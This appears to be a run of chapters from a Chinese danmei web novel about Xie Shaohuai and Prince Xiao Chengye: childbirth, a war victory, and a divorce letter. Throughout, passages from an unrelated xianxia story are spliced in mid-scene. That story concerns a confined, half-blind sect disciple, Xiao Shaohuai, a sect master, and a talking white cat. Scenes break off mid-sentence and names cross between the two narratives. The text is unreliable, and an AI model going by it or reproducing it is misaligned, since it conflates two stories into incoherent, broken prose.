谢少淮回了正堂,闲来无事,把前些日子萧承野给他的信都找了出来,然后一一打开看,只不过信太多了,一封一封看要看许久,少年写的多是一些没用的情话,谢少淮最初收到便看,如今都是攒下一堆再慢慢看。 因为不能回信,所以谢少淮看过之后只能收起来。 看完了近一个月的信,差不多到午时了,谢少淮将信收好,便让青松准备马车回梁王府。谁知马车刚到了王府,只见平日里在门口迎人的刘管事没在,几个小厮提着水桶拿着抹布在往前清理什么。 谢少淮带着孩子下去,走近了才看清楚地上的赫然是一滩血迹:“这是怎么回事?” 清理的几个小厮战战兢兢地回道:“回,回王妃,方才破玄侍卫带着王爷回来了,王爷受了伤,这血……” 谢少淮闻言,顿感事情不妙,匆忙赶回府中,果不其然刘管事和几个嬷嬷正围着他的卧房。 谢少淮:“这是怎么回事?” 刘管事一见是王妃回来了,瞬间有了主心骨,“老奴,老奴也不知。” 萧承野说不想回涿州是假的,他无时无刻不想去琢州去,但是他不舍得阿淮,也不舍得他们在长安的家。 “那,那阿淮等着为夫,”萧承野单膝跪在青年身下,握着他的手放在自己心口:“为夫答应阿淮,我们的孩子出生前,为夫一定回来。” 谢少淮:“……” 谢少淮没想让萧承野陪自己生孩子,他……又不是不能自己生。 谢少淮:“知道了。” 萧承野若是想去,这一走路上就要月余时间,他已经有六个月身孕,少年怎么可能在他生产前回来? 不过无所谓。 萧承野出征前一日,刚好从惠阳回来的人进了宫,说是遇到了一些棘手的问题,建宁帝不得已半夜将谢少淮召进了宫。待谢少淮忙完,天色已经大亮,城中前往涿州的车马已经远走。 当天晚上,谢少淮独坐在梁王府后院里看书,月下寂影,身边没了闹腾粘人的萧承野,自认为最是能忍耐寂寞,此刻也觉得有几分冷清了。 第 47 章 第 47 章 两个月后,梁王府。 “捷报!公子西北大捷!”青松慌慌张张地从前院奔跑过来,嘴里嘟嘟囔囔说个不停:“公子,王爷打了胜仗!” 彼时内宅。 谢少淮的产期就在这几日,建宁帝特意下旨让许太医在梁王府住下,每日都请一次平安脉。 “王妃可放心,一切都正常,”许太医刚刚说罢,门外便传来了青松的声音,许太医听的不真切,“这小娃说的什么?” 谢少淮整理了一下自己的袖子,道:“这小厮莽撞惯了……” 这时候青松刚好跑到后援,叉着腰喘气:“公子,是捷报!” 谢少淮眸子一亮,他身边的许太医也听清楚了,连连道:“难道是王爷要回来了?” 许太医:“真是好事啊。”谢少淮腹痛后不久,许太医便断定明日就能产子,青松得了谢父谢母的话,半夜跑去谢府通知了二老,在家里的谢五郎也来了,谢家一家三口守在门前,整整一夜不曾动半步。 直到第二天的午时,随着一声婴儿的啼哭,在外面的谢家父母终于松了口气,随后稳婆从房间里出来,“恭喜侯爷,恭喜夫人,王妃娘娘产下了小殿下,父子平安。” 谢母:“我儿无事?”一阵轻微的咳嗽声将萧承野思绪拉回。 他倏然回过神,在萧少淮望过来的一瞬间,下意识抬手给他施了一个障眼法。 施完以后他才反应过来,萧少淮现在处于一个……半瞎半聋的状态,施了也没多大意义。 面前的人似乎确实没什么反应,依旧披散着衣袍跪坐在角落,过了几秒,有些犹豫地歪了歪头。 “……萧承野?” 他没有听到应答,迟疑着想要撑起身,神情间却忽然闪过一丝痛楚,急促地喘了一口气,捂住胸口歪歪斜斜地就往旁边倒。 萧承野瞳孔微缩,倏然上前一步将人扶住。 掌心间传来的冰凉触感让他不自觉皱了皱眉,目光落到萧少淮衣摆下裸露出的微红脚趾上,手上忽然一个用力,单手揽着人的腰,将他直接扶坐到床上。 萧少淮低低地“啊”了一声,下意识攀住他的手臂,似乎害怕般,紧紧攥着他的手腕。 萧承野抽了一下没有抽回来,没忍住皱眉低下头:“你……” 但他刚一开口,却忽然听到面前的人小声开口:“不对……你是,边峰主?” 萧承野的声音戛然而止。 他僵在原地,却见面前的人仿佛以为他是默认般,勾着他的手指轻轻地摇了摇。 “抱歉啊,我现在有点听不清,你如果想说什么,不如写在我手上?” 他一边说一边仰起头,笑眯眯摊开另一只手,甚至故意逗他般,屈了屈手指,神情间带着一丝微妙的餍足和愉悦。 ——这是对他从未有过的神情。 萧承野莫名心里有些发堵,不知是因为萧少淮认错人还是他浑不在意的态度。 他过了几秒,才慢慢抬起手,翻过萧少淮的掌心,写下几个字。 【你怎知是我?】 萧少淮微微撇了撇嘴。 “萧承野才不会对我这么温柔。” 他话音刚落,便感觉攥着他的手倏然收紧。 萧少淮一时间没反应过来,下意识“嘶”了一声,想要往回抽手:“你干什么,痛……” 攥着他的手一点点放松,却依旧按着没有收回,只继续在他掌心慢慢写着。 【你眼睛和听力是怎么回事?】 萧少淮转着手腕,随口回道:“没什么,老毛病了,过一两天就会好的,不用在意。” 两指宽的白纱遮住了他大半张脸,他半歪着头,一头乌发用一根素簪随意揽着,几缕发丝垂落,只露出一双缀着些许笑意的薄唇来。 “王妃有许太医照料,除了有些体虚外就没其他事了。” 谢少淮产后第二天才睡醒,小腹上还缠着纱布,不能随意动,但是之前因为怀孕大肚子而产生的沉重感却消失了。 青松端着药进门,见他家公子醒了,连连上前道:“公子,您醒了?许太医说了您刚生完孩子,身上还有伤口,头几天不能乱动。” 谢少淮听完青松的话,还有些茫然,他已经把孩子生下来了,他已经是个父亲了,只不过萧承野还是没赶回来。 谢少淮被青松扶着坐了起来,“孩子呢?”另一边,禁闭处。 蜷缩在床上的人身子忽然颤了一下,弓着身子骤然攥紧胸前的衣襟,深重地喘息了几下,终于疲倦地睁开眼。 心口和胃里仿佛压了一块大石,坠得他吐息都阵阵发疼。 眼前更是一片模糊杂乱的白点,耳边更是一片杂乱的嗡鸣声,浑浑噩噩地惹得他头晕。 萧少淮对这种状态并不陌生,他过了好一会儿,才意识到自己眼前的模糊感并不是自己身体的原因,而是被蒙了一层白纱。 他愣了一下,神情间终于浮现出些许意外。 他抬手想将这层纱摘下来,但手刚碰上,便被上面的灵力灼的低低地“嘶”了一声。 “关个禁闭还戴个白纱……”萧少淮甩了甩手,小声开口,“萧承野这是什么恶趣味……” 他适应性极好,反正睁着眼也头晕,干脆不去管那白纱,蜷缩着身子在原地躺了好一会儿,才终于沉沉地吐了一口气,一点点慢慢撑起身。 恶心感依旧络绎不绝地从胸腹间涌上,萧少淮不敢睁开眼,只小心翼翼地转了转头,却还是倏忽间出了一身冷汗。 四周并不算太冷,但萧少淮身子还是控制不住轻轻打着颤。 他在冷死和疼死之间犹豫了几秒,叹了一口气,到底还是不情不愿坐起身,半眯着眼向四周摸索。 萧少淮清楚禁闭处这个崖底荒芜一片,没有所谓床铺等一系列东西。 他也不担心自己会突然踩空,阖着眼肆意往周围摸索着,试图找一个稍微暖和点的地方,但下一秒—— ——一阵失重感突然袭来。 萧少淮:?? 他不可置信地倏然睁大眼,手在周围慌乱地抓了一下,却依旧抓了个空。 落下去的一瞬间,萧少淮咬牙闭上眼,心中只有一个念头。 ——下次再选屋子的时候,一定要先算一卦。 ——销春尽这里每一个地方都好像克他一样。 但预想中的疼痛却并没有传来,连失重感也只有一瞬。 萧少淮周身一软,紧接着感觉自己似乎落到了一处柔软的毛绒堆里。 他怔了怔,下意识睁开眼,和面前模糊的沉香木刻的雕花床栏对了个正着。 ——这是什么……温柔乡。 ——销春尽现在关禁闭的地方……都这么惊悚了吗。 萧少淮戴着白纱,控制不住打了个寒颤,脑海中各种乱七八糟的想法层出不穷。 他有些懵的慢慢爬坐起身,还没来得及细瞧,忽然听到身后隐隐约约传来一阵响动。 萧少淮心中下意识一慌。 于是,萧承野一进门,便看到不知为何再次跪坐在地上的人倏然抬起手,欲盖弥彰般紧了紧自己的衣襟。 萧承野:…… 青松乐呵道:“怕打扰公子休息,特意安排在了隔壁小房间,这会儿乳母刚喂完,小殿下已经休息了。” “公子,眼下最要紧的就是您的身子,”青松:“许太医说了,您之前中的情毒产子可解,现在您刚生完孩子,要好好补身子,等过了头一个月,就恢复如初了。” 谢少淮确实觉得甚是疲惫,点了点头:“一会儿把孩子抱过来我看看。” 青松:“好。” 谢少淮不露喜色,“是,边关大捷,是好事。” 许太医淡淡一笑,看着面前神色并无异常的青年。他几乎是看着谢少淮这孩子长大的,瞧着青年脸上没喜色,但是那突然就亮起来的眸子是骗不了人的。 许太医:“想必王爷也一直记挂着王妃,特意赶在王妃生产前回。” 谢少淮的唇角不自觉地抬了一下,萧承野走前答应过他,说要赶在他生孩子前回,想不到竟然真的做到了。 谢少淮回许太医:“嗯。” 琢州前线传来捷报后的第三天,建宁帝下令准许萧承野先行回长安。 人保护我大周百姓。” 破玄其实没有让青年一起去涿州的想法,但是他又想不到怎么解决殿下和王妃长时间不肯见面的办法,脑子一热便说出来了,说罢他又有些后悔,王妃又不是深闺妇人,那是少年入仕的神童,前段时间王妃为新政推行做出的贡献,一点不比他家殿下少。 意识到自己说了不该说的话,破玄连捂住了自己的嘴巴:“属下想到马儿还没喂!” 说罢,破玄就拍拍屁股跑了。 “阿淮别听他瞎说,”萧承野:“为夫说了等阿淮产子之后便留在长安,澶儿还小呢,身边没父亲怎么能行,阿淮待身子恢复好了,想去做什么便去,家里为夫在。” 谢少淮闻言,眸子沉下几分。 他确实不可能为了萧承野放弃自己的一切随他回琢州…… 第 48 章 第 48 章 从刚才吃完饭,青年的脸色就有些不对劲儿。 谢少淮本不想和萧承野再说那么多,吃晚饭的时候他已经向男人表面自己的态度了,他在长安好好的,不需要萧承野照顾,整个梁王府有数不清的嬷嬷和乳母照顾他们的孩子,也不需要萧承野带孩子。 谢少淮想不通萧承野是怎么想的。 “阿淮,”萧承野是真不知道谢少淮是为什么生气,但是对方生气的样子他知道,他这时候最好什么都别做,等明日人气消了就好了。 但萧承野想问清楚:“阿淮,你到底……” 萧承野还没说完,只见背对着他的谢少淮突然转过身来,紧蹙着眉心看着他:“萧承野。” 萧承野抿唇看着认真的青年,有些不知所措,手小心地攥着青年的衣角,小心翼翼地试探问:“阿淮我是不是做错什么了……” 萧承野点了点头,端起来药,一勺一勺喂给青年:“阿淮勿要生气了,你都不知道,方才府尹有多怕,五十多岁的人了,要是被吓出病来反而耽误了工作。” 谢少淮轻笑一声:“你当他是怎么做到京兆府尹的?这才哪到哪?” 谢少淮说着,抿着发涩的舌尖,看着那一点药根,皱眉道:“不吃了。” 萧承野听话抵将药端走,又端来一小碟蜜饯,喂了谢少淮一颗。 县衙外那魏清的女儿还守着,谢少淮实在想不到魏长枫和魏清这样木头似的人,家里竟然还有这么火爆泼辣的女人。不过让她这么坐在县衙也不是解决的办法,那女子腹大如鼓,眼看着是要到了生产的时候,出了岔子可不好。 谢少淮想了一会儿,觉得去见一眼那女子。“你方才说什么?”对面的樾为之疑惑开口。 萧少淮回过神,这才意识到自己方才说出了声。 他眨了眨眼,随手撸了一把怀里的白毛团子,笑眯眯开口:“无事……我就是闻出来的。” 樾为之眼尾抽了抽,没忍住咬牙:“……你是狗吗,能不能正经一点,我费劲千辛万苦把这个月的药给你送来不是为了听你鬼扯这些——” 萧少淮随口应了一声,抬手在白猫胖的几乎摸不到的脖颈茸毛间摸索了一下,再摊开手,掌心间已多了一个白玉药瓶。 他将那唯一的一粒药丸放入口中,听着传声符那头的人再次絮叨起来,第一次庆幸自己如今是个半聋的状态。 药物入体带起一股暖流,萧少淮轻轻吐了一口气 ,抬起头,再次仔细环顾了一圈四周。 萧承野不会无缘无故给他戴上一层白绫,甚至还欲盖弥彰地又施了一层障眼法。 这个房间一定有什么问题。 但萧少淮的嗅觉和触觉才刚刚恢复,眼、耳处依旧难受的厉害,尤其是眼前,一阵阵白点错落闪过,惹得他几欲作呕。 他担心樾为之发现异常,一边扶着床慢慢下地,一边若无其事地开口。 “对了,之前长老殿那只乌鸦,如今怎么样了?” 一提到那只蠢鸟樾为之就忍不住生气,他哼了一声,“正在训,快了。” 萧少淮睁着半瞎的眼摸索到床边,闻声好奇挑了挑眉:“怎么?难得碰上让你棘手的东西……是个硬骨头?” “不是。” 樾为之冷哼一声,漠然开口:“是个懒骨头——什么也教不会,还要一天三顿地伺候着。” 萧少淮愣了一下,听着樾为之咬牙继续说着:“早知道当初就应该听你的直接把他一锅炖了——现在给他扔锅里,他连扑腾都懒得扑腾。” 萧少淮没忍住轻笑出声,又欲盖弥彰地捂住唇咳了咳。 樾为之冷笑一声,又想到什么般,声音重新沉了下来。 “对了,之前你在边叙那里寻到的手稿,还有一些医书,我仔细翻了一遍,没有提到要寻的那味药。” 萧少淮愣了一下,对于这个结果没有什么意外:“嗯,我知。” 他偏过头,冲着不远处的白猫招了招手,白猫颠颠地跑过来,落在他身后半步处,扑腾着一双短腿努力跟着,不让樾为之发现破绽。 对面的人对萧少淮这个平淡的反应有些不满:“萧少淮,这不是儿戏,你得抓紧时间,你清楚你如今的身体情况已经……” 樾为之后续的话语萧少淮没太听清。 他有些气喘,扶着墙壁停住脚步,垂着眼慢慢平复着呼吸。 这个房间并不大,说话间他已经将整个房间摸索了一遍,除了差点把自己晕到吐以外,什么也没发现。 眼前明灭的白光不减反增,萧少淮忍了半晌,还是没忍住捂住唇,有些难耐地干呕了几声。 “你怎么了?” 对面的樾为之敏锐地意识到了不对,他倏然停住话语,皱眉开口:“你在干什么?” “没事,就是转了一圈这个房间……” 萧少淮心口发堵,一时间有些喘不上来气,按着胸口半弯下腰,断续开口:“就是刚才呛了一口气,一会儿就好……” 他话还没说完,忽然感觉隐脉处一阵剧痛传来,萧少淮闷哼一声,脚下一软,猝不及防地直接跪坐在地。 “萧少淮?”樾为之倏然站起身。 重物落地的闷响从传讯符那头传来,紧接着便是一片死一般的寂静。 谢少淮让人将那女子带到了县衙的牢房里,准备先了解一下魏姬和许家的事情,田薄的事情虽然棘手,但是该做的工作还是要做。萧承野听青年的话,下午带着周崇和三霞县的衙役继续量土地。 晚上,萧承野回到县衙的时候,谢少淮已经从牢房里出来,正在房间写什么。 “殿下今日还这么晚?”谢少淮朝窗外看了眼,“都亥正了。” “不晚,”萧承野脱下外氅:“阿淮今日说服那魏清了吗?” “没有。”谢少淮道:“不过倒是对那魏姬有所发现。” “没必要细说,我心里有底了,”谢少淮说着,将自己写的信卷了起来,随后走到窗边吹了信哨,将信送了出去:“尽早把地先量完,剩下的我来就行。” “好,”萧承野没有追问谢少淮具体要做什么,谢少淮一直都有自己的主意,萧承野看着眉心不再紧蹙的青年,心情也跟着好了起来:“那阿淮今日早些休息。” 谢少淮:“还不行,我得赶快把剩下的田薄誊录下来。” 三霞县能用的文官不多,仅有两人,加上谢少淮这边的,十几年的田薄,没有个三五日也是抄不完的。 谢少淮道:“这些东西怕不只有这里才有,新政推行不过才两个县,就遇到如此棘手的麻烦,若之后推行到长安外、地方去届时的官商勾结则更为严重。” 青年认真的模样似乎带着些神秘的光辉,萧承野看着人,双眸难以挪开,心狂跳不止,犹如他第一眼看到青年的时候,那双琉璃色的眸子是如此与众不同,是如此的让人心悦臣服。 而认真起来的谢少淮就好比落在人间的仙人,萧承野跟不能余生都围着他转,他滚了滚喉,红着脸道:“阿淮,你甚美。” 谢少淮:“油嘴滑舌。” “你的伤如何了?” 萧承野闻言便解开自己外衫:“已经愈合了。” 建宁帝扶额,看着一旁的周氏,只能故作生气:“这次河西大捷,朕本要重重封赏,但梁王违抗皇令,只能将功抵过,看在他受伤的份上,朕不罚他,但这种事情不能再发生第二次了。” 谢少淮:“臣谢陛下隆恩。” 谢少淮从长乐宫出来,这才松了口气,回到梁王府后,他进了书房,足足想了两个多时辰才出来。 来到卧房,萧承野正好刚吃完饭,见青年过来,他开心道:“阿淮,你方才去哪里了,为夫还几个时辰都没看见你。” 萧承野这次突然回长安,确实是想早些见到谢少淮,不过他并未抗旨,早在他离长安前,皇兄就私下交代过他,若是仗打完了,他便不用在乎面子上的功夫,提前回就可,只不过要藏好,必须等大军回来了才能露面。 谢少淮蹙了蹙眉,拿出自己方才写好的和离书,丢在了萧承野的脸上:“殿下,你离长安这些日子我想明白了,你我结缘因一场误会,性格实在不合,事到如今我不想再瞒你,事情起因待我说完,殿下便签了这和离书吧。” 第 49 章 第 49 章 萧承野以为自己听错了。 他抬眸看着面前站着的青年,难以置信的看着谢少淮扔给他的和离书,“阿淮你说什么呢?” “殿下知道,少淮不是爱开玩笑的性子,”谢少淮:“早在认识殿下前,少淮就从舅舅那里得知殿下私下联系琢州起义军,此等谋逆之罪,少淮决不允许发生——后面的时候殿下都知道,是我故意引诱殿下,以情毒为借口接近殿下,只不过最后发现殿下并非意图谋反之人。” 谢少淮:“事情错在少淮,少淮愿补偿殿下六千金的礼钱外,将长安的铺子抵给殿下,至于我们的孩子,孩子一直是我在带,自然由我继续带着。” 谢少淮字字珠玑,几乎把他和萧承野从相识相爱到怀孕生子的过程都讲说了一遍,只不过这里没有感情,全是朝堂之间尔虞我诈的利用,就连最早谢少淮想利用萧承野来分散建宁帝对谢家的压制都一一说了出来。 萧承野听完,木讷的看着手里的和离书,然后随手将书信撕了,掀开被褥从床上起来,一把将谢少淮揽在怀里:“阿淮,你瞎说什么?你都是生气对不对?” 萧承野知道自己提前回来不好,更别提自己还伤了,谢少淮一定是担心他才会这么生气。 谢少淮推开男人,“并未,少淮已经将话说完,至于殿下要不要和离,全在殿下。” 谢少淮说罢,便出了门,随后让青松带着孩子,随他一起回了谢家,与谢父谢母说清楚这件事。 边叙曾说过,他有一个年长他们几岁的大师兄。 大师兄虽年长几岁,偏总笑眯眯的没个正经,三两句话便总能哄着其余四个师弟跟他一起四处惹是生非。 ——然后在被抓包时,再随机选一个师弟推出去顶罪。 【那师父你们不会生气吗?】松竹疑惑开口。 边叙摇了摇头。 【我对他生不起气。】 ——别说他们了,连他们的师父一般都不忍心罚大师兄。 大师兄身子不太好,几乎可以算是药罐子里长大的。 偏能力强,脾气又好,虽是开门大弟子,却从没半分架子。 他不起坏心眼时,眉眼间便温和得出奇。 抱着双臂懒洋洋往那一靠,倦懒似地半垂着眼,软着嗓音,一边说一边去勾你的手。 他常年总是生着病,指尖总是冰凉冰凉的,像一块总也捂不热的冷玉,清泠泠的勾人。 边叙记得,他第一次就是被大师兄“虚弱”的模样给骗了过去。 【师弟,我今天身子难受,心口闷的厉害,你行行好帮我这一次。我要是进去被关了禁闭,出来不直接去了半条命。】 大师兄苍白着脸,低低咳嗽了两声,身形微晃,眼眸低垂:【若是再不慎生一场大病,过年时,谁带你们偷溜下山,去看河道灯会啊?】 几个师弟每每被他哄的晕头转向,稀里糊涂间就心甘情愿替他受了这个惩处。 事后被蜜糖罐一哄一逗,又乐颠颠地跟着他继续作妖。 边叙记得,当时自己在禁闭崖底时没有半分不忿,满脑子都是大义凛然地想,自己也能保护的了师兄。 结果出来当天,边叙迈开步子,雄赳赳气昂昂地刚准备去大师兄那里报个平安,顺便安慰一下大师兄不要为他难过。 下一秒,却听到面前传来“叮当”的几声酒壶碰撞声,边叙抬起头,便看到自家便宜师兄拿着两壶白玉小酒瓶,懒洋洋坐在树间,冲着他弯了弯眼。 【四师弟辛苦,过来喝酒,我自己酿的。】 边叙:…… 后来他才发现,自家这个大师兄满嘴几乎没半句实话。 ——尤其是当他真正难受的时候。 可惜他们当时已经被哄习惯了,每次出事都自觉站出来领罚。 ——仿佛是知道大师兄能在背后为他们撑腰一样。 细细想来,除了他们最小的那个师弟最开始曾冷着脸势誓不同流合污外,其他几人没几下就毫无迟疑地立刻屈服了。 【小师叔为什么不和你们一起?】松竹好奇开口。 【他不喜欢大师伯吗?】 边叙摇了摇头:【不会。】 他顿了顿,似想到什么,赌气般又补充了一句:【大师兄最喜欢小师弟了。】 但大师兄也有马失前蹄的时候。 【大师伯终于被抓了?】松竹讶然抬眼。 边叙点了点头,唇边似乎隐隐浮现出一抹笑意。 在某次,大师兄带着他们三人去膳房偷零嘴时,一不小心把鸡笼里一窝子母鸡全给放飞了。 那是一窝待下蛋的母鸡,受了惊后四处乱跑。 整个宗门鸡飞蛋打了一整天,而据传某个长老在不慎被从天而降的鸡蛋打中时,偏巧隔壁炼丹炉当天刚好发生了意外。 ——据说当时,有弟子确切地闻到了蛋花的香味。 第二天,他们师父黑着一张脸,难得将他们的大师兄关了禁闭。 销春尽惩处类的禁闭是在一片断崖底,崖口设了结界,结界内无风无声,无休无止,没有时间的流逝。 所有的灵力、法阵在崖底会全部失效,一般人绝对无法从内部离开。 他们三个师弟也曾商量着悄悄去给他送吃的,但师父这次似乎铁了心要惩罚大师兄,直接安排了两个门仆守在结界口。 几人偷溜了几次,都被一一擒获。 但大师兄从来不会亏待自己。 在被关禁闭的第三天,他莫名从膳房搞来了一堆吃的。 然后就开始了每日往返,一天早中晚一顿都不落下。 直到七天后禁闭结束,自家隐隐后悔的师父心疼不已地亲自来接人,便看到自家大弟子抱着不知哪里搞来的一床被子,睡的正香。 ——脸色似是比禁闭前,还要红润上几分。 边叙直到现在还记得,自家师父脸色当时直接青了。 【他是怎么做到的?】松竹好奇开口,却见边叙摇了摇头。 【我不知,大师兄从来没说过。】 边叙低声开口:【但他从前便喜改写各种阵法……怕是又用了什么稀奇古怪的点子,改了阵势,避开了结界限制。】 松竹当时年幼,从来只知对着课本一本一眼地学,从未想过还能自己改编创造。 【这个大师伯好有趣……】他下意识感慨,忍不住脱口而出,【师父何时能引我们见一见这个大师伯吗?】 他话音刚落,却看到边叙的神情忽然一静。 谢少淮思忖少顷,点了点头:“嗯。” 说罢,谢少淮又道:“你我都是澶儿的父亲,孩子你可以带走,但我若要见,还请殿下不要阻拦。” 谢少淮说罢,眸子沉了下来,“之前的事情是我对不住殿下,但事关谢氏一族性命,少淮别无选择。” 谢少淮:“对不起。” 谢少淮作揖,随后便收好书信:“望君珍重。” 萧承野抽了抽嘴角:“你也是。” 萧承野看着青年离去的背影,随后将那份和离书揉成了团。 第 50 章 第 50 章 萧承野说离京不假,自谢少淮雷厉风行从梁王府搬出来后,不过两日的的时间,萧承野已经将长安的事情尽数打点完毕,随后便带着一支一千多人的精锐骑兵,从淮水一带折返西北。 当天早上,谢少淮下了朝,先去了梁王府,见了萧承野和孩子最后一眼,给随行的护卫军一人置了一身轻甲和棉线衣服,送了一些干牛肉和杂粮,随后回了谢少淮嫁给萧承野之前独住的私宅。 酉时左右,长乐宫的刘卿来了谢宅。 彼时谢少淮正在书房,是青松来通报的,谢少淮出了书房迎接,见刘卿带着几封书信,面色匆忙:“奴才见过谢大人。” 这几日梁王府的事情闹得整个长安沸沸扬扬,刘卿虽不知具体事宜,但在建宁帝身边听八卦,里里外外也知道这二人分的离奇,不舍的很,孩子可怜,刚出生就离了生父。 这种时候,他本不该打扰的。 刘卿来的着急,出了一身的汗,“奴才本不该过来打扰大人的,可方才彼州急报,说闹了瘟疫,朝廷方才派去人推行新政,陛下拿不定主意,说要把彼州的情况给大人看看再做定夺。” 谢少淮拿来书信看了一眼:“我随公公走一趟吧。” 谢少淮这一走,便直接到了寅时,天蒙蒙亮才从宫里出来。 彼时午门外,青松刚睡醒,从看守的小房子里出来,见天都蒙蒙亮了他家公子还没出来。 青松是随他家公子一起进的宫,算算这一夜都过去了,公子还没出来,想来是陛下心疼他家公子,留在宫里休息了。 青松正准备再去眯一会儿,见远远地有小太监挑着灯笼朝他这边过来,“谢大人,您慢些。” 待人走近了,青松才看真切,来人一袭素衣,不是他家公子又是谁?难不成他家公子一整夜没睡? 青松拿上公子的大氅,急忙上前迎接:“公子。” 青松接上了人,才知道果然如他所料,他家公子眼下发青,一看就是熬了一整晚,这种事情之前也常有,但那都是去梁王府之前了,公子去了王府后,王爷爱惜着呢,从不许熬大夜。 谢少淮翻了一晚上的书,乏力的很,淡淡道:“走吧,回府。” 回去的路上,青松架着马车,没和他家公子说话,待回了府他忙伺候公子休息,到了辰时后,青松睡醒了准备先去给公子准备吃食,结果甫一出了门就见他家公子从书房出来。 青松道:“公子,您才睡的多大会儿,怎么这么早就起来了?” “彼州出了点事,明日我要亲自走一趟,你明天先回母亲哪里住几日。”说罢,谢少淮解了大氅,带着写好的奏疏,“我进宫一趟,晚些回来。” 谢少淮说罢,便自己牵了马儿离开,不乘坐马车,看来是确实有十分重要的事情。 青松抱着他家公子带着体温的大氅,心疼地看着那渐行渐远的背影。 - “你想要防谁?销春尽里有谁能值得你如此大费周章……” 萧承野静静望着他不说话,边叙的目光落到他手中的悬火帖上,声音戛然而止。 他倏然抬起头:“长老殿?你觉得真是长老殿做的这一切?” 边叙垂在身侧的手一点点收紧:“师弟,你到底……” “我没如何。” 萧承野低声开口,打断边叙越发凝重的话语:“不过是常规问讯后,让他从哪来……回哪去罢了。” 边叙愣了一下,蓦然想起昨日长老殿三长老莫名暴怒的传闻。 “你把那弟子遣回长老殿了?”边叙下意识压低了声音。 “那弟子污蔑同门,已按门规废去灵力,逐出宗门。” 萧承野慢慢抬起头:“送回长老殿,不过是让他们安分守己,不要如两年前那般,插手多余的事。” 边叙意识到了什么,神情蓦然沉了下来:“你还想要重查两年前的事……” 下一秒,萧承野手指一动,那悬火帖瞬间消失在两人间。 “四师兄多虑了。” 萧承野抬起头,目光沉沉:“四师兄今日也累了,还是早些回去休息吧……” “你不是一直认定,大师兄就是叛出宗门、堕入魔教。”边叙脚步一闪径直挡在他身前,声音也冷了下来。 “既如此,还有什么必要旧事重提——” 他话还没说完,忽然感觉面前一道威压骤然袭来,边叙猝不及防地后退一步,便看到面前的人径直掠过了他。 “四师兄请回吧。” 萧承野低声开口:“学堂的事既已查明,过几日我会把萧少淮放出……” “九渊。” 萧承野的脚步倏然一滞。 边叙站在落后他半步的地方,望着面前如今已长为一宗之主的小师弟,又开口唤了一声他的名:“事到如今,你到底信不信他,九渊?” 一阵穿堂风从门廊前吹过,翻飞的衣袖带来彻骨的寒凉…… 他看着萧承野微微回过头,无声地吐出两个字。 边叙愣了一下,神情一时晦暗莫名。 他闭了闭眼,忽然匆匆向外走去:“好,我明日再来。” 萧承野皱眉:“你来做什么……” “记忆缺失是并非不可逆,大师兄失忆了,便是得了病,是病就总能治好的。” 边叙头也不回地越过他,木然开口:“我想让大师兄亲口说出,当年到底发生了什么。” 他的声音随着他的身影倏然消失在拐角。 萧承野定在原地。 方才边叙说的“萧少淮晕倒在房中”的事在他脑海里萦绕,萧承野缓缓吐了一口气,到底慢慢转向了暖阁的方向。 下一秒,他神色忽然一凛,倏然转头,周身威压瞬间铺开:“谁?” 一阵窸窸窣窣的声音传来,紧接着一只胖乎乎的白猫晃晃悠悠从拐角处慢慢踱了过来。 他望着萧承野,下一秒忽然冷冷地口吐人言:“顽冥不灵。” 萧承野脸色一点点沉了下来。 他眸色微冷,缓缓抬手,面前那白猫不闪不避,只忽然抖了抖身子,眼眸似乎一瞬变的茫然,紧接着有些疑惑地歪了歪头。 萧承野周身灵力一点点聚拢,下一秒,忽然听到一个模糊的声音在不远处唤了一声。 萧承野怔了一瞬,不可置信地抬起头。 下一刻,一只骨节分明的手从黑暗中伸了出来,手腕轻压,漫不经心地将白猫缓缓举起。 “好久不见,萧宗主。” 萧少淮从昏暗中一步步走出,将重新恢复懵懂的白猫揽在臂弯里,懒懒靠在墙边,随手打了个招呼。 “不好意思,家养的毛团刚学人言,不过都是囫囵吞枣,让您见笑了。” 萧承野脸色沉的可怕,却没有管白猫方才说的什么,而是哑声开口:“你之前唤了一声什么……” 萧少淮垂着眼不去看他,只抬手逗弄着怀里的猫,淡淡开口:“萧宗主听错了吧?我方才未曾出声。” 萧承野皱了皱眉。 他还没来得及说什么,忽然看到面前的人身子晃了一下,捂住胸口低咳两声,有些哀怨地抬起头。 “萧宗主生这么大的气做什么,都弄痛我了。” 萧承野静了几秒,紧接着手指倏然一收,周身的灵力瞬间消散无踪。 下一秒,他便看着面前的人毫不留情地转过身,径直向后走去。 “你去哪?”萧承野瞬间脱口而出。 “回去关我的禁闭啊。” 萧少淮抱着猫,似笑非笑地转回头,“阶下囚要有阶下囚的自觉,要不是这小东西突然跑出来,我也不应出现在这里。” 他一边说一边想起什么,懒洋洋地又冲着萧承野微微欠身:“宗主若要惩罚,悉听尊便。” 面前人虽勾着唇,笑意却未达眼底,甚至似乎隐约带着些淡漠疏离。 萧承野下意识皱眉:“我不是这个意思……” 他话音刚落,便看面前的人漫不经心点了点头,衣袖翻飞间,身影已倏然消失不见。 谢少淮淡淡道:“我和殿下那点事,陈芝麻烂谷子,不提也罢。” 说起孩子,谢少淮心情便有些沉重了:“至于阿澶,确实应该去看看他,涿州不比长安,那孩子喜欢念书,上次写信过来还说想来长安住上一段日子。” 青松也经常给小殿下写信,公子疼他,便一起送去了,小殿下每次都回他呢,那字迹叫一个娟秀:“真的吗!” 说起小殿下,青松立马把撮合他家公子和梁王殿下复合的事情抛在脑后了,主要是提了这么多年,他家公子丝毫不为所动:“那把小殿下接回来也行,琢州那么远,公子不去也罢。” 谢少淮:“……” 谢少淮:“你的主意倒是变的快。” 青松嘻嘻笑了一声,“说来,卫将军给梁王殿下介绍姑娘的事情,怎么会传到长安来?还传的有理有据好像真的似得。” 这件事青松一个月前就听说。 谢少淮抽了抽嘴角,“谁知道呢。” 两人说话间,便回到了原先的梁王府,只不过现在不叫梁王府了,改成廷尉府了。 “到家了公子!” 50-60 第 51 章 第 51 章 谢少淮的生活简单,自从新政推行完之后、他任职廷尉以来每天都是定点上朝下朝,晚上回来看会儿书,生活中唯一的乐趣,大概就是看西北梁王府每月寄来的书信。 不过这月西北传来军报,说预备在六月中旬出征漠北,想来萧承野忙了,便顾不上寄萧澶的信。 晚上,谢少淮在院子里看书,青松陪着谢少淮,一边清扫院子里的花瓣,一边有一搭没一搭的和谢少淮说话:“公子,今日晌午的事儿您记得吗?” 青年惯爱穿素衣,眼下一袭青衫罩在身上,三千墨染了的发垂在肩头,就这么捧着一本书,倚在美人靠上,时不时吹来几片花瓣落在美人肩头。 甚是养眼。 “什么?”谢少淮慵懒地挪了下身子,转过身看和桃花树下的青松。 谢少淮鲜少心静不下来,他不是没听懂青松的话,只是不知怎么回应他。 